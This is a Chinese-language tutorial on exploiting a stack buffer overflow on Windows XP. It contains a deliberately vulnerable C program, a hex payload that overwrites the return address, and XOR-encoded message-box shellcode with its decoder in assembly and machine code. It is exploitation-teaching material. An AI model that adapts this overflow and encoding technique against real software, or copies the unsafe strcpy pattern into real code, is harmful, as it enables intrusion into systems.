乾貨 || Windows Shellcode學習筆記——shellcode在棧溢出中的利用與優化
0x00 前言
在《Windows Shellcode學習筆記——shellcode的提取與測試》中介紹了如何對shellcode作初步優化,動態獲取Windows API地址並調用,並通過程序實現自動提取機器碼作為shellcode並保存到文件中。
彈框實例shellcode的bin文件已上傳至github,地址如下:
https://github.com/3gstudent/Shellcode-Generater/blob/master/shellcode.bin
註:shellcode.bin由getshellcode.cpp生成
getshellcode.cpp地址如下:
https://github.com/3gstudent/Shellcode-Generater/blob/master/getshellcode.cpp
接下來,要研究shellcode在具體環境中的使用和優化技巧
0x01 簡介
先從最入門的緩衝區溢出開始
本文將要結合《0day安全:軟體漏洞分析技術》中的「棧溢出原理與實踐」章節,以其中的棧溢出代碼作樣本,優化我們自己生成的彈框實例shellcode,實現在棧溢出中的初步利用。
0x02 相關概念
棧區:
用於動態地存儲函數之間的調用關係,以保證被調用函數在返回時恢復到母函數中繼續執行
特殊寄存器:
ESP:棧指針寄存器(extended stack pointer),指向棧頂
EBP:基址指針寄存器(extended base pointer),指向棧底
EIP:指令寄存器(extended instruction pointer),指向下一條等待執行的指令地址
函數代碼在棧中保存順序(直觀理解,已省略其他細節):
buffer
前棧幀EBP返回地址ESP
函數棧溢出原理(直觀理解,已省略其他細節):
正常情況下函數在返回過程中,最後會執行返回地址中保存的內容,通常是跳到下一條指令的地址
如果buffer長度過長,長到覆蓋了返回地址的值,那麼函數在返回時,就會執行被覆蓋的內容
如果將shellcode保存到buffer中,覆蓋的返回地址為shellcode的起始地址,那麼,shellcode將得到執行,完成棧溢出的利用
0x03 棧溢出實例測試
樣本代碼如下:
#include <stdio.h>n#include <windows.h>n#define PASSWORD "1234567"nint verify_password (char *password)n{n int authenticated;n char buffer[44];n authenticated=strcmp(password,PASSWORD);n strcpy(buffer,password);n return authenticated;n}nint main()n{n int valid_flag=0;n char password[1024];n FILE *fp;n LoadLibrary("user32.dll");n if(!(fp=fopen("password.txt","rw+")))n return 0;n fread(password,56,1,fp);n valid_flag=verify_password(password);n if(valid_flag)n {n printf("wrongn");n }n elsen {n printf("rightn"); n }n fclose(fp);n return 0;n}n
註:代碼選自章節2.4.2中的實驗代碼,作細微調整
其中,fscanf(fp,」%s」,password)在遇到空格和換行符時結束,如果shellcode中包含空格(0x20),會被截斷,導致讀取文件不完整
因此,將其替換為fread(password,56,1,fp);
數組password長度為56,數組buffer長度為44,在執行strcpy(buffer,password);時存在棧溢出
根據函數棧溢出原理,實現棧溢出需要以下過程:
(1) 分析並調試程序,獲得淹沒返回地址的偏移
(2) 獲得buffer的起始地址,根據獲得的偏移將其覆蓋返回地址,使得函數返回時執行buffer起始地址保存的代碼
(3) 提取彈框操作的機器碼並保存於buffer的起始地址處,在函數返回時得到執行
測試系統:Win XPn編譯器:VC6.0nbuild版本: debug版本n
(1) 分析並調試程序,獲得淹沒返回地址的偏移
可在password.txt中填入56個測試字元,使用OllyDbg打開程序,定位到函數返回地址
如圖
返回地址剛好被覆蓋
(2) 獲得buffer的起始地址並覆蓋返回地址
如圖
獲得buffer的起始地址:0012FB7C
註:在不同系統下buffer的起始地址不同,使用0012FB7C覆蓋返回地址,即password.txt的53-56位的十六進位字元為7CFB1200(逆序保存)
(3) 提取彈框操作的機器碼
參照《0day安全:軟體漏洞分析技術》中的方法,使用Dependency Walker 獲取ueser32.ll的基地址為0x77D10000
MessageBoxA的偏移地址為0x000407EA如圖
因此MessageBoxA在該系統上內存中的入口地址為0x77D10000+0x000407EA=0x77D507EA
替換書中MessageBoxA對應函數入口地址的機器碼
最終password.txt內容如下(十六進位視圖):
00000000h: 33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53 ; 3跾hwesthfail嬆S n00000010h: 50 50 53 B8 EA 07 D5 77 FF D0 90 90 90 90 90 90 ; PPS戈.誻袗悙悙? n00000020h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙 n00000030h: 90 90 90 90 7C FB 12 00 ; 悙悙|?.n
最終程序運行如圖,棧溢出在我們的測試系統上觸發成功
0x03 彈框實例shellcode在棧溢出的優化
上節簡單介紹了一下棧溢出實例的原理和操作方法,本節將要介紹如何優化我們自己開發的shellcode,即彈框實例shellcode,結合具體漏洞,實現利用
彈框實例shellcode下載地址:
https://github.com/3gstudent/Shellcode-Generater/blob/master/shellcode.bin
shellcode長度1536
(1) 修改實常式序,使其數組足以保存我們的shellcode
完整代碼如下:
#include <stdio.h>n#include <windows.h>n#define PASSWORD "1234567"nint verify_password (char *password)n{n int authenticated;n char buffer[1556];n authenticated=strcmp(password,PASSWORD);n strcpy(buffer,password);n return authenticated;n}nint main()n{n int valid_flag=0;n char password[2048]={0};n FILE *fp;n if(!(fp=fopen("password2.txt","rb")))n return 0;n fread(password,1568,1,fp);n valid_flag=verify_password(password);n if(valid_flag)n {n printf("wrongn");n }n elsen {n printf("rightn");n }n fclose(fp);n return 0;n}n
buffer長度增大到1556,用於保存彈框實例shellcode
根據上節實例,淹沒返回地址的偏移9-12,因此password的長度增加到1556+12=1568
(2) strcpy遇到字元00會截斷
如圖
彈框實例shellcode在00000009h處字元為0x00,strcpy在執行時遇到0x00會提前截斷,導致shellcode不完整,無法覆蓋返回地址
所以,需要對shellcode進行編碼
為方便讀者理解,參照《0day安全:軟體漏洞分析技術》中3.5.2節的方法(此章節有詳細說明,不再贅述過程):
shellcode尾部添加結束字元0x90
將shellcode逐位元組同0x44作異或加密彙編實現解碼器並提取機器碼解碼器的機器碼放於shellcode首部解碼器將EAX對準shellcode起始位置,逐位元組同0x44異或進行解密,遇到0x90停止
解碼器的彙編代碼如下:
void main()n{n __asmn {n add eax,0x14n xor ecx,ecxndecode_loop:n mov bl,[eax+ecx]n xor bl,0x44n mov [eax+ecx],bln inc ecxn cmp bl,0x90n jne decode_loopn }n}n
使用OllyDbg提取出機器碼如下:
"x83xC0x14x33xC9x8Ax1Cx08x80xF3x44x88x1Cx08x41x80xFBx90x75xF1"n
新的shellcode格式如下:
解碼器機器碼+加密的彈框實例shellcode+0xD4+"x90x90x90x90x90x90x90"+"x7CxFBx12x00"n
註:
0x90^0x44=0xD4,0xD4即編碼後的結束字元
「x90x90x90x90x90x90x90」為填充字元串,無意義
「x7CxFBx12x00」為覆蓋的函數返回地址
(3) 0xD4衝突
如圖
彈框實例shellcode中也包含結束字元0xD4,解密時shellcode會被提前截斷,所以需要選擇一個新的結束字元
當然也可以對shellcode分段加密,針對此shellcode,恰巧0xD5未出現,因此使用0xD5作結束字元串即可,解密字元為0x91
修改後的機器碼如下:
"x83xC0x14x33xC9x8Ax1Cx08x80xF3x44x88x1Cx08x41x80xFBx91x75xF1"n
修改後的shellcode格式如下:
解碼器機器碼+加密的彈框實例shellcode+0xD5+"x90x90x90x90x90x90x90"+"x7CxFBx12x00"n
(4) shellcode編碼測試
編寫程序實現自動讀取原shellcode,加密,添加解密機器碼,添加結束字元
程序已上傳至github
https://github.com/3gstudent/Shellcode-Generater/blob/master/enshellcode.cpp
執行後如圖,產生新的shellcode文件,並在屏幕輸出c格式的shellcode
使用如下代碼,結合屏幕輸出c格式的shellcode,替換數組內容,對新的加密shellcode測試
由於代碼較長,所以上傳至github,地址如下:
https://github.com/3gstudent/Shellcode-Generater/blob/master/testenshellcode.cpp
如圖,shellcode執行,成功實現解碼器
(5) 新shellcode在棧溢出中的測試
填上解碼器機器碼,完整的shellcode格式如下:
"x83xC0x14x33xC9x8Ax1Cx08x80xF3x44x88x1Cx08x41x80xFBx91x75xF1"+加密的彈框實例shellcode+0xD5+"x90x90x90x90x90x90x90"+"x7CxFBx12x00"n
在棧溢出測試程序中仍然報錯,使用OllyDbg載入繼續調試
如下圖,成功覆蓋函數返回地址,接著按F8進行單步調試
如下圖,此時發現異常,EAX寄存器的值為909090D5,正常情況下EAX的值應該為Buffer的起始地址,這樣才能成功找到shellcode並對其解密
而寄存器EDX卻保存了Buffer的起始地址
所以,我們需要對解碼器作修改
(6) 修改解碼器
選擇一個最簡單直接的方法,將EDX對準shellcode的起始位置,實現的彙編代碼如下:
void main()n{n __asmn {n add edx,0x14n xor ecx,ecxndecode_loop:n mov bl,[edx+ecx]n xor bl,0x44n mov [edx+ecx],bln inc ecxn cmp bl,0x90n jne decode_loopn }n}n
在OllyDbg中載入程序並提取機器碼,如圖
新的解碼器機器碼為:
"x83xC2x14x33xC9x8Ax1Cx0Ax80xF3x44x88x1Cx0Ax41x80xFBx91x75xF1"n
最終的shellcode代碼為:
"x83xC2x14x33xC9x8Ax1Cx0Ax80xF3x44x88x1Cx0Ax41x80xFBx91x75xF1"+加密的彈框實例shellcode+0xD5+"x90x90x90x90x90x90x90"+"x7CxFBx12x00"n
完整shellcode代碼已上傳至github,地址為:
https://github.com/3gstudent/Shellcode-Generater/blob/master/stackoverflowshellcode.bin
再次測試棧溢出,如圖,shellcode成功執行
由於shellcode是我們自己實現的動態獲取API地址,所以棧溢出測試程序中的LoadLibrary(「user32.dll」); 可以省略
0x04 小結
本文對棧溢出原理作了簡要描述,著重介紹了在具體的棧溢出環境下,shellcode的優化、調試和利用技巧
當然,上述shellcode存在一個不足:shellcode在內存中的起始地址往往不固定,導致漏洞利用不一定成功
本文為3gstudent 原創稿件,授權嘶吼獨家發布,未經許可禁止轉載;如若轉載,請嘶吼編輯: Windows Shellcode學習筆記——shellcode在棧溢出中的利用與優化 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀:
※乾貨 || Windows Shellcode學習筆記——棧溢出中對jmp esp的利用與優化
※AppDomainManager後門的實現思路
※乾貨 | PowerShell技巧——藉助kd.exe隱藏進程
※PowerShell指令為什麼都要採用 Verb-XXXX 的格式?
※作為日常使用的腳本,PowerShell Core 與 Python 各有哪些優劣?
TAG:技术分析 | PowerShell |